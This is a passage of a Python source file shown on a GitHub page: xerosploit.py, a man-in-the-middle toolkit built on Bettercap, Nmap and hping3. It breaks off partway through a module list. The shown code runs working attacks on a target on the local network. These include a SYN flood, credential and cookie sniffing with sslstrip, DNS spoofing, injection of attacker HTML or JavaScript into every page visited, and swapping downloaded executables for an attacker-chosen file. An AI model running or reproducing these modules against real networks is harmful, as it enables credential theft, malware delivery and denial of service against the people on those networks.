forked from LionSec/xerosploit
-
Notifications
You must be signed in to change notification settings - Fork 0
/
xerosploit.py
executable file
·992 lines (819 loc) · 47 KB
/
xerosploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
#!/usr/bin/python
# -*- coding: utf-8 -*-
#---------------------------------------------------------------------------#
# This file is part of Xerosploit. #
# Xerosploit is free software: you can redistribute it and/or modify #
# it under the terms of the GNU General Public License as published by #
# the Free Software Foundation, either version 3 of the License, or #
# (at your option) any later version. #
# #
# Xerosploit is distributed in the hope that it will be useful, #
# but WITHOUT ANY WARRANTY; without even the implied warranty of #
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #
# GNU General Public License for more details. #
# #
# You should have received a copy of the GNU General Public License #
# along with Xerosploit. If not, see <http://www.gnu.org/licenses/>. #
# #
#---------------------------------------------------------------------------#
# #
# Copyright © 2016 LionSec (www.lionsec.net) #
# #
#---------------------------------------------------------------------------#
import os
from terminaltables import DoubleTable
from tabulate import tabulate
from banner import xe_header
import sys, traceback
from time import sleep
#Check if the script is running as root .
if not os.geteuid() == 0:
sys.exit("""\033[1;91m\n[!] Xerosploit must be run as root. ¯\_(ツ)_/¯\n\033[1;m""")
# Exit message
exit_msg = "\n[++] Shutting down ... Goodbye. ( ^_^)/\n"
def main():
try:
#Configure the network interface and gateway.
def config0():
global up_interface
up_interface = open('/opt/xerosploit/tools/files/iface.txt', 'r').read()
up_interface = up_interface.replace("\n","")
if up_interface == "0":
up_interface = os.popen("route | awk '/Iface/{getline; print $8}'").read()
up_interface = up_interface.replace("\n","")
global gateway
gateway = open('/opt/xerosploit/tools/files/gateway.txt', 'r').read()
gateway = gateway.replace("\n","")
if gateway == "0":
gateway = os.popen("ip route show | grep -i 'default via'| awk '{print $3 }'").read()
gateway = gateway.replace("\n","")
def home():
config0()
n_name = os.popen('iwgetid -r').read() # Get wireless network name
n_mac = os.popen("ip addr | grep 'state UP' -A1 | tail -n1 | awk '{print $2}' | cut -f1 -d'/'").read() # Get network mac
n_ip = os.popen("hostname -I").read() # Local IP address
n_host = os.popen("hostname").read() # hostname
# Show a random banner. Configured in banner.py .
print (xe_header())
print ("""
[+]═══════════[ Author : @LionSec1 \033[1;36m_-\|/-_\033[1;m Website: lionsec.net ]═══════════[+]
[ Powered by Bettercap and Nmap ]""")
print(""" \033[1;36m
┌═════════════════════════════════════════════════════════════════════════════┐
█ █
█ Your Network Configuration █
█ █
└═════════════════════════════════════════════════════════════════════════════┘ \n \033[1;m""")
# Print network configuration , using tabulate as table.
table = [["IP Address","MAC Address","Gateway","Iface","Hostname"],
["","","","",""],
[n_ip,n_mac.upper(),gateway,up_interface,n_host]]
print (tabulate(table, stralign="center",tablefmt="fancy_grid",headers="firstrow"))
print ("")
# Print xerosploits short description , using terminaltables as table.
table_datas = [
['\033[1;36m\nInformation\n', 'XeroSploit is a penetration testing toolkit whose goal is to \nperform man in the middle attacks for testing purposes. \nIt brings various modules that allow to realise efficient attacks.\nThis tool is Powered by Bettercap and Nmap.\033[1;m']
]
table = DoubleTable(table_datas)
print(table.table)
# Get a list of all currently connected devices , using Nmap.
def scan():
config0()
scan = os.popen("nmap " + gateway + "/24 -n -sP ").read()
f = open('/opt/xerosploit/tools/log/scan.txt','w')
f.write(scan)
f.close()
devices = os.popen(" grep report /opt/xerosploit/tools/log/scan.txt | awk '{print $5}'").read()
devices_mac = os.popen("grep MAC /opt/xerosploit/tools/log/scan.txt | awk '{print $3}'").read() + os.popen("ip addr | grep 'state UP' -A1 | tail -n1 | awk '{print $2}' | cut -f1 -d'/'").read().upper() # get devices mac and localhost mac address
devices_name = os.popen("grep MAC /opt/xerosploit/tools/log/scan.txt | awk '{print $4 ,S$5 $6}'").read() + "\033[1;32m(This device)\033[1;m"
table_data = [
['IP Address', 'Mac Address', 'Manufacturer'],
[devices, devices_mac, devices_name]
]
table = DoubleTable(table_data)
# Show devices found on your network
print("\033[1;36m[+]═══════════[ Devices found on your network ]═══════════[+]\n\033[1;m")
print(table.table)
target_ip()
# Set the target IP address .
def target_ip():
target_parse = " --target " # Bettercap target parse . This variable will be wiped if the user want to perform MITM ATTACK on all the network.
print ("\033[1;32m\n[+] Please choose a target (e.g. 192.168.1.10). Enter 'help' for more information.\n\033[1;m")
target_ips = raw_input("\033[1;36m\033[4mXero\033[0m\033[1;36m ➮ \033[1;m").strip()
if target_ips == "back":
home()
elif target_ips == "home":
home()
elif target_ips == "":
print ("\033[1;91m\n[!] Please specify a target.\033[1;m") # error message if no target are specified.
target_ip()
target_name = target_ips
#modules section
def program0():
# I have separed target_ip() and program0() to avoid falling into a vicious circle when the user Choose the "all" option
cmd_target = os.popen("bash -c 'echo 1 > /proc/sys/net/ipv4/ip_forward'").read() # IP forwarding
print("\033[1;34m\n[++] " + target_name + " has been targeted. \033[1;m")
def option():
""" Choose a module """
print("\033[1;32m\n[+] Which module do you want to load ? Enter 'help' for more information.\n\033[1;m")
options = raw_input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m\033[1;36m ➮ \033[1;m").strip() # select an option , port scan , vulnerability scan .. etc...
# Port scanner
if options == "pscan":
print(""" \033[1;36m
┌══════════════════════════════════════════════════════════════┐
█ █
█ Port Scanner █
█ █
█ Find open ports on network computers and retrieve █
█ versions of programs running on the detected ports █
└══════════════════════════════════════════════════════════════┘ \033[1;m""")
def pscan():
if target_ips == "" or "," in target_ips:
print("\033[1;91m\n[!] Pscan : You must specify only one target host at a time .\033[1;m")
option()
print("\033[1;32m\n[+] Enter 'run' to execute the 'pscan' command.\n\033[1;m")
action_pscan = raw_input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4mpscan\033[0m\033[1;36m ➮ \033[1;m").strip()#ip to scan
if action_pscan == "back":
option()
elif action_pscan == "exit":
sys.exit(exit_msg)
elif action_pscan == "home":
home()
pscan()
elif action_pscan == "run":
print("\033[1;34m\n[++] Please wait ... Scanning ports on " + target_name + " \033[1;m")
scan_port = os.popen("nmap "+ target_ips + " -Pn" ).read()
save_pscan = open('/opt/xerosploit/tools/log/pscan.txt','w') # Save scanned ports result.
save_pscan.write(scan_port)
save_pscan.close()
# Grep port scan information
ports = os.popen("grep open /opt/xerosploit/tools/log/pscan.txt | awk '{print $1}'" ).read().upper() # open ports
ports_services = os.popen("grep open /opt/xerosploit/tools/log/pscan.txt | awk '{print $3}'" ).read().upper() # open ports services
ports_state = os.popen("grep open /opt/xerosploit/tools/log/pscan.txt | awk '{print $2}'" ).read().upper() # port state
# Show the result of port scan
check_open_port = os.popen("grep SERVICE /opt/xerosploit/tools/log/pscan.txt | awk '{print $2}'" ).read().upper() # check if all port ara closed with the result
if check_open_port == "STATE\n":
table_data = [
['SERVICE', 'PORT', 'STATE'],
[ports_services, ports, ports_state]
]
table = DoubleTable(table_data)
print("\033[1;36m\n[+]═════════[ Port scan result for " + target_ips +" ]═════════[+]\n\033[1;m")
print(table.table)
pscan()
else:
# if all ports are closed , show error message .
print (check_open_port)
print ("\033[1;91m[!] All 1000 scanned ports on " + target_name + " are closed\033[1;m")
pscan()
else:
print("\033[1;91m\n[!] Error : Command not found.\033[1;m")
pscan()
pscan()
#DoS attack
elif options == "dos":
print(""" \033[1;36m
┌══════════════════════════════════════════════════════════════┐
█ █
█ DoS Attack █
█ █
█ Send a succession of SYN requests to a target's system █
█ to make the system unresponsive to legitimate traffic █
└══════════════════════════════════════════════════════════════┘ \033[1;m""")
def dos():
if target_ips == "" or "," in target_ips:
print("\033[1;91m\n[!] Dos : You must specify only one target host at a time .\033[1;m")
option()
print("\033[1;32m\n[+] Enter 'run' to execute the 'dos' command.\n\033[1;m")
action_dos = raw_input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4mdos\033[0m\033[1;36m ➮ \033[1;m").strip()
if action_dos == "back":
option()
elif action_dos == "exit":
sys.exit(exit_msg)
elif action_dos == "home":
home()
elif action_dos == "run":
print("\033[1;34m\n[++] Performing a DoS attack to " + target_ips + " ... \n\n[++] Press 'Ctrl + C' to stop.\n\033[1;m")
dos_cmd = os.system("hping3 -c 10000 -d 120 -S -w 64 -p 21 --flood --rand-source " + target_ips) # Dos command , using hping3
dos()
else:
print("\033[1;91m\n[!] Error : Command not found.\033[1;m")
dos()
dos()
# Ping
elif options == "ping":
print(""" \033[1;36m
┌══════════════════════════════════════════════════════════════┐
█ █
█ Ping █
█ █
█ Check the accessibility of devices █
█ and show how long it takes for packets to reach host █
└══════════════════════════════════════════════════════════════┘ \033[1;m""")
def ping():
if target_ips == "" or "," in target_ips:
print("\033[1;91m\n[!] Ping : You must specify only one target host at a time .\033[1;m")
option()
print("\033[1;32m\n[+] Enter 'run' to execute the 'ping' command.\n\033[1;m")
action_ping = raw_input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4mping\033[0m\033[1;36m ➮ \033[1;m").strip()
if action_ping == "back":
option()
elif action_ping == "exit":
sys.exit(exit_msg)
elif action_ping == "home":
home()
elif action_ping == "run":
print("\033[1;34m\n[++] PING " + target_ips + " (" + target_ips + ") 56(84) bytes of data ... \n\033[1;m")
ping_cmd = os.popen("ping -c 5 " + target_ips).read()
fping = open('/opt/xerosploit/tools/log/ping.txt','w') #Save ping result , then grep some informations.
fping.write(ping_cmd)
fping.close()
ping_transmited = os.popen("grep packets /opt/xerosploit/tools/log/ping.txt | awk '{print $1}'").read()
ping_receive = os.popen("grep packets /opt/xerosploit/tools/log/ping.txt | awk '{print $4}'").read()
ping_lost = os.popen("grep packets /opt/xerosploit/tools/log/ping.txt | awk '{print $6}'").read()
ping_time = os.popen("grep packets /opt/xerosploit/tools/log/ping.txt | awk '{print $10}'").read()
table_data = [
['Transmitted', 'Received', 'Loss','Time'],
[ping_transmited, ping_receive, ping_lost, ping_time]
]
table = DoubleTable(table_data)
print("\033[1;36m\n[+]═════════[ " + target_ips +" ping statistics ]═════════[+]\n\033[1;m")
print(table.table)
ping()
else:
print("\033[1;91m\n[!] Error : Command not found.\033[1;m")
ping()
ping()
elif options == "injecthtml":
print(""" \033[1;36m
┌══════════════════════════════════════════════════════════════┐
█ █
█ Inject Html █
█ █
█ Inject Html code in all visited webpage █
└══════════════════════════════════════════════════════════════┘ \033[1;m""")
def inject_html():
print("\033[1;32m\n[+] Enter 'run' to execute the 'injecthtml' command.\n\033[1;m")
action_inject = raw_input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4minjecthtml\033[0m\033[1;36m ➮ \033[1;m").strip()
if action_inject == "back":
option()
elif action_inject == "exit":
sys.exit(exit_msg)
elif action_inject == "home":
home()
elif action_inject == "run":
print("\033[1;32m\n[+] Specify the file containing html code you would like to inject.\n\033[1;m")
html_file = raw_input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4mInjecthtml\033[0m\033[1;36m ➮ \033[1;m")
if html_file == "back":
inject_html()
elif html_file == "home":
home()
else:
html_file = html_file.replace("'","")
print("\033[1;34m\n[++] Injecting Html code ... \033[1;m")
print("\033[1;34m\n[++] Press 'Ctrl + C' to stop . \n\033[1;m")
cmd_code = os.system("cp " + html_file + " /opt/xerosploit/tools/bettercap/modules/tmp/file.html")
cmd_inject = os.system("xettercap " + target_parse + target_ips + " --proxy-module=/opt/xerosploit/tools/bettercap/lib/bettercap/proxy/http/modules/injecthtml.rb --js-file " + html_file + " -I " + up_interface + " --gateway " + gateway )
inject_html()
else:
print("\033[1;91m\n[!] Error : Command not found.\033[1;m")
inject_html()
inject_html()
elif options == "rdownload":
print(""" \033[1;36m
┌══════════════════════════════════════════════════════════════┐
█ █
█ Replace Download █
█ █
█ Replace files being downloaded via HTTP █
└══════════════════════════════════════════════════════════════┘ \033[1;m""")
def rdownload():
print("\033[1;32m\n[+] Please type 'run' to execute the 'rdownload' command.\n\033[1;m")
action_rdownload = raw_input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4mrdownload\033[0m\033[1;36m ➮ \033[1;m").strip()
if action_rdownload == "back":
option()
elif action_rdownload == "exit":
sys.exit(exit_msg)
elif action_rdownload == "home":
home()
elif action_rdownload == "run":
module = "/opt/xerosploit/tools/bettercap/modules/http/replace_file.rb"
print("\033[1;32m\n[+] Specify the extension of the files to replace. (e.g. exe)\n\033[1;m")
ext_rdownload = raw_input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4mrdownload\033[0m\033[1;36m ➮ \033[1;m").strip()
print("\033[1;32m\n[+] Set the file to use in order to replace the ones matching the extension.\n\033[1;m")
file_rdownload = raw_input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4mrdownload\033[0m\033[1;36m ➮ \033[1;m")
file_rdownload = file_rdownload.replace("'","")
if file_rdownload == "back":
rdownload()
elif file_rdownload == "home":
home()
elif file_rdownload == "exit":
sys.exit(exit_msg)
else:
print("\033[1;34m\n[++] All ." + ext_rdownload + " files will be replaced by " + file_rdownload + " \033[1;m")
print("\033[1;34m\n[++] Press 'Ctrl + C' to stop . \n\033[1;m")
cmd_rdownload = os.system("xettercap " + target_parse + target_ips + " --proxy-module='/opt/xerosploit/tools/bettercap/modules/replace_file.rb' --file-extension " + ext_rdownload + " --file-replace " + file_rdownload + " -I " + up_interface + " --gateway " + gateway )
rdownload()
else:
print("\033[1;91m\n[!] Error : Command not found.\033[1;m")
rdownload()
rdownload()
elif options == "sniff":
print(""" \033[1;36m
┌══════════════════════════════════════════════════════════════┐
█ █
█ Sniffing █
█ █
█ Capturing any data passed over your local network █
└══════════════════════════════════════════════════════════════┘ \033[1;m""")
def snif():
print("\033[1;32m\n[+] Please type 'run' to execute the 'sniff' command.\n\033[1;m")
action_snif = raw_input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4msniff\033[0m\033[1;36m ➮ \033[1;m").strip()
if action_snif == "back":
option()
elif action_snif == "exit":
sys.exit(exit_msg)
elif action_snif == "home":
home()
elif action_snif == "run":
def snif_sslstrip():
print("\033[1;32m\n[+] Do you want to load sslstrip ? (y/n).\n\033[1;m")
action_snif_sslstrip = raw_input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4msniff\033[0m\033[1;36m ➮ \033[1;m").strip()
if action_snif_sslstrip == "y":
print("\033[1;34m\n[++] All logs are saved on : /opt/xerosploit/xerosniff \033[1;m")
print("\033[1;34m\n[++] Sniffing on " + target_name + "\033[1;m")
print("\033[1;34m\n[++] sslstrip : \033[1;32mON\033[0m \033[1;m")
print("\033[1;34m\n[++] Press 'Ctrl + C' to stop . \n\033[1;m")
date = os.popen("""date | awk '{print $2"-"$3"-"$4}'""").read()
filename = target_ips + date
filename = filename.replace("\n","")
make_file = os.system("mkdir -p /opt/xerosploit/xerosniff && cd /opt/xerosploit/xerosniff && touch " + filename + ".log")
cmd_show_log = os.system("""xterm -geometry 100x24 -T 'Xerosploit' -hold -e "tail -f /opt/xerosploit/xerosniff/""" + filename + """.log | GREP_COLOR='01;36' grep --color=always -E '""" + target_ips + """|DNS|COOKIE|POST|HEADERS|BODY|HTTPS|HTTP|MQL|SNPP|DHCP|WHATSAPP|RLOGIN|IRC|SNIFFER|PGSQL|NNTP|DICT|HTTPAUTH|TEAMVIEWER|MAIL|SNMP|MPD|NTLMSS|FTP|REDIS|GET|$'" > /dev/null 2>&1 &""")
cmd_snif = os.system("xettercap --proxy " + target_parse + target_ips + " -P MYSQL,SNPP,DHCP,WHATSAPP,RLOGIN,IRC,HTTPS,POST,PGSQL,NNTP,DICT,HTTPAUTH,TEAMVIEWER,MAIL,SNMP,MPD,COOKIE,NTLMSS,FTP,REDIS -I " + up_interface + " --gateway " + gateway + " -O, --log /opt/xerosploit/xerosniff/" + filename + ".log --sniffer-output /opt/xerosploit/xerosniff/" + filename + ".pcap")
def snifflog():
print("\033[1;32m\n[+] Do you want to save logs ? (y/n).\n\033[1;m")
action_log = raw_input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4msniff\033[0m\033[1;36m ➮ \033[1;m").strip()
if action_log == "n":
cmd_log = os.system("rm /opt/xerosploit/xerosniff/" + filename + ".*")
print("\033[1;31m\n[++] Logs have been removed. \n\033[1;m")
sleep(1)
snif()
elif action_log == "y":
print("\033[1;32m\n[++] Logs have been saved. \n\033[1;m")
sleep(1)
snif()
elif action_log == "exit":
sys.exit(exit_msg)
else:
print("\033[1;91m\n[!] Error : Command not found. type 'y' or 'n'\033[1;m")
snifflog()
snifflog()
elif action_snif_sslstrip == "n":
print("\033[1;34m\n[++] All logs are saved on : /opt/xerosploit/xerosniff \033[1;m")
print("\033[1;34m\n[++] Sniffing on " + target_name + "\033[1;m")
print("\033[1;34m\n[++] sslstrip : \033[1;91mOFF\033[0m \033[1;m")
print("\033[1;34m\n[++] Press 'Ctrl + C' to stop . \n\033[1;m")
date = os.popen("""date | awk '{print $2"-"$3"-"$4}'""").read()
filename = target_ips + date
filename = filename.replace("\n","")
make_file = os.system("mkdir -p /opt/xerosploit/xerosniff && cd /opt/xerosploit/xerosniff && touch " + filename + ".log")
cmd_show_log = os.system("""xterm -geometry 100x24 -T 'Xerosploit' -hold -e "tail -f /opt/xerosploit/xerosniff/""" + filename + """.log | GREP_COLOR='01;36' grep --color=always -E '""" + target_ips + """|DNS|COOKIE|POST|HEADERS|BODY|HTTPS|HTTP|MQL|SNPP|DHCP|WHATSAPP|RLOGIN|IRC|SNIFFER|PGSQL|NNTP|DICT|HTTPAUTH|TEAMVIEWER|MAIL|SNMP|MPD|NTLMSS|FTP|REDIS|GET|$'" > /dev/null 2>&1 &""")
cmd_snif = os.system("xettercap " + target_parse + target_ips + " -P MYSQL,SNPP,DHCP,WHATSAPP,RLOGIN,IRC,HTTPS,POST,PGSQL,NNTP,DICT,HTTPAUTH,TEAMVIEWER,MAIL,SNMP,MPD,COOKIE,NTLMSS,FTP,REDIS -I " + up_interface + " --gateway " + gateway + " -O, --log /opt/xerosploit/xerosniff/" + filename + ".log --sniffer-output /opt/xerosploit/xerosniff/" + filename + ".pcap")
def snifflog():
print("\033[1;32m\n[+] Do you want to save logs ? (y/n).\n\033[1;m")
action_log = raw_input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4msniff\033[0m\033[1;36m ➮ \033[1;m").strip()
if action_log == "n":
cmd_log = os.system("rm /opt/xerosploit/xerosniff/" + filename + ".*")
print("\033[1;31m\n[++] Logs have been removed. \n\033[1;m")
sleep(1)
snif()
elif action_log == "y":
print("\033[1;32m\n[++] Logs have been saved. \n\033[1;m")
sleep(1)
snif()
elif action_log == "exit":
sys.exit(exit_msg)
else:
print("\033[1;91m\n[!] Error : Command not found. type 'y' or 'n'\033[1;m")
snifflog()
snifflog()
elif action_snif == "back":
snif()
elif action_snif == "exit":
sys.exit(exit_msg)
elif action_snif == "home":
home()
else:
print("\033[1;91m\n[!] Error : Command not found. type 'y' or 'n'\033[1;m")
snif_sslstrip()
snif_sslstrip()
else:
print("\033[1;91m\n[!] Error : Command not found.\033[1;m")
snif()
snif()
elif options == "dspoof":
print(""" \033[1;36m
┌══════════════════════════════════════════════════════════════┐
█ █
█ DNS spoofing █
█ █
█ Supply false DNS information to all target browsed hosts █
█ Redirect all the http traffic to the specified one IP █
└══════════════════════════════════════════════════════════════┘ \033[1;m""")
def dspoof():
print("\033[1;32m\n[+] Enter 'run' to execute the 'dspoof' command.\n\033[1;m")
action_dspoof = raw_input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4mdspoof\033[0m\033[1;36m ➮ \033[1;m").strip()
if action_dspoof == "back":
option()
elif action_dspoof == "exit":
sys.exit(exit_msg)
elif action_dspoof == "home":
home()
elif action_dspoof == "run":
print("\033[1;32m\n[+] Enter the IP address where you want to redirect the traffic.\n\033[1;m")
action_dspoof_ip = raw_input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4mdspoof\033[0m\033[1;36m ➮ \033[1;m").strip()
dns_conf = action_dspoof_ip + " .*\.*"
outdns = open('/opt/xerosploit/tools/files/dns.conf','w')
outdns.write(dns_conf)
outdns.close()
print("\033[1;34m\n[++] Redirecting all the traffic to " + action_dspoof_ip + " ... \033[1;m")
print("\033[1;34m\n[++] Press 'Ctrl + C' to stop . \n\033[1;m")
cmd_dspoof = os.system("xettercap " + target_parse + target_ips + " --dns /opt/xerosploit/tools/files/dns.conf --custom-parser DNS -I " + up_interface + " --gateway " + gateway)
dspoof()
else:
print("\033[1;91m\n[!] Error : Command not found.\033[1;m")
dspoof()
dspoof()
elif options == "yplay":
print(""" \033[1;36m
┌══════════════════════════════════════════════════════════════┐
█ █
█ Yplay █
█ █
█ PLay youtube videos as background sound in all webpages █
└══════════════════════════════════════════════════════════════┘ \033[1;m""")
def yplay():
print("\033[1;32m\n[+] Enter 'run' to execute the 'yplay' command.\n\033[1;m")
action_yplay = raw_input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4myplay\033[0m\033[1;36m ➮ \033[1;m").strip()
if action_yplay == "back":
option()
elif action_yplay == "exit":
sys.exit(exit_msg)
elif action_yplay == "home":
home()
elif action_yplay == "run":
print("\033[1;32m\n[+] Insert a youtube video ID. (e.g. NvhZu5M41Z8)\n\033[1;m")
video_id = raw_input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4myplay\033[0m\033[1;36m ➮ \033[1;m").strip()
if video_id == "back":
option()
elif video_id == "": # if raw = null
print("\033[1;91m\n[!] Error : Please specify your video ID.\033[1;m")
yplay()
elif video_id == "exit":
sys.exit(exit_msg)
elif video_id == "home":
home()
else:
code = "<head> <iframe width='0' height='0' src='http://www.youtube.com/embed/" + video_id + "?autoplay=1' frameborder='0' allowfullscreen></iframe>"
code_yplay = open('/opt/xerosploit/tools/bettercap/modules/tmp/yplay.txt','w')
code_yplay.write(code)
code_yplay.close()
print("\033[1;34m\n[++] PLaying : https://www.youtube.com/watch?v=" + video_id + " \033[1;m")
print("\033[1;34m\n[++] Press 'Ctrl + C' to stop . \n\033[1;m")
cmd_yplay = os.system("xettercap " + target_parse + target_ips + " --proxy-module='/opt/xerosploit/tools/bettercap/modules/rickroll.rb' -I " + up_interface + " --gateway " + gateway)
yplay()
else:
print("\033[1;91m\n[!] Error : Command not found.\033[1;m")
yplay()
yplay()
elif options == "replace":
print(""" \033[1;36m
┌══════════════════════════════════════════════════════════════┐
█ █
█ Image Replace █
█ █
█ Replace all web pages images with your own one █
└══════════════════════════════════════════════════════════════┘ \033[1;m""")
def replace():
print("\033[1;32m\n[+] Enter 'run' to execute the 'replace' command.\n\033[1;m")
action_replace = raw_input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4mreplace\033[0m\033[1;36m ➮ \033[1;m").strip()
if action_replace == "back":
option()
elif action_replace == "exit":
sys.exit(exit_msg)
elif action_replace == "home":
home()
elif action_replace == "run":
print("\033[1;32m\n[+] Insert your image path. (e.g. /home/capitansalami/pictures/fun.png)\n\033[1;m")
img_replace = raw_input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4mreplace\033[0m\033[1;36m ➮ \033[1;m")
img_replace = img_replace.replace("'","")
if img_replace == "back":
replace()
elif img_replace == "exit":
sys.exit(exit_msg)
elif img_replace == "home":
home()
else:
from PIL import Image
img = Image.open(img_replace)
img.save('/opt/xerosploit/tools/bettercap/modules/tmp/ximage.png')
print("\033[1;34m\n[++] All images will be replaced by " + img_replace + "\033[1;m")
print("\033[1;34m\n[++] Press 'Ctrl + C' to stop . \n\033[1;m")
cmd_replace = os.system("xettercap " + target_parse + target_ips + " --proxy-module='/opt/xerosploit/tools/bettercap/modules/replace_images.rb' --httpd --httpd-path /opt/xerosploit/tools/bettercap/modules/tmp/ -I " + up_interface + " --gateway " + gateway)
replace()
else:
print("\033[1;91m\n[!] Error : Command not found.\033[1;m")
replace()
replace()
elif options == "driftnet":
print(""" \033[1;36m
┌══════════════════════════════════════════════════════════════┐
█ █
█ Driftnet █
█ █
█ View all images requested by your target █
└══════════════════════════════════════════════════════════════┘ \033[1;m""")
def driftnet():
print("\033[1;32m\n[+] Enter 'run' to execute the 'driftnet' command.\n\033[1;m")
action_driftnet = raw_input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4mdriftnet\033[0m\033[1;36m ➮ \033[1;m").strip()
if action_driftnet == "back":
option()
elif action_driftnet == "exit":
sys.exit(exit_msg)
elif action_driftnet == "home":
home()
elif action_driftnet == "run":
print("\033[1;34m\n[++] Capturing requested images on " + target_name + " ... \033[1;m")
print("\033[1;34m\n[++] All captured images will be temporarily saved in /opt/xerosploit/xedriftnet \033[1;m")
print("\033[1;34m\n[++] Press 'Ctrl + C' to stop . \n\033[1;m")
cmd_driftnet = os.system("mkdir -p /opt/xerosploit/xedriftnet && driftnet -d /opt/xerosploit/xedriftnet > /dev/null 2>&1 &")
cmd_driftnet_sniff = os.system("xettercap -X")
cmd_driftnet_2 = os.system("rm -R /opt/xerosploit/xedriftnet")
driftnet()
else:
print("\033[1;91m\n[!] Error : Command not found.\033[1;m")
driftnet()
driftnet()
elif options == "move":
print(""" \033[1;36m
┌══════════════════════════════════════════════════════════════┐
█ █
█ Shakescreen █
█ █
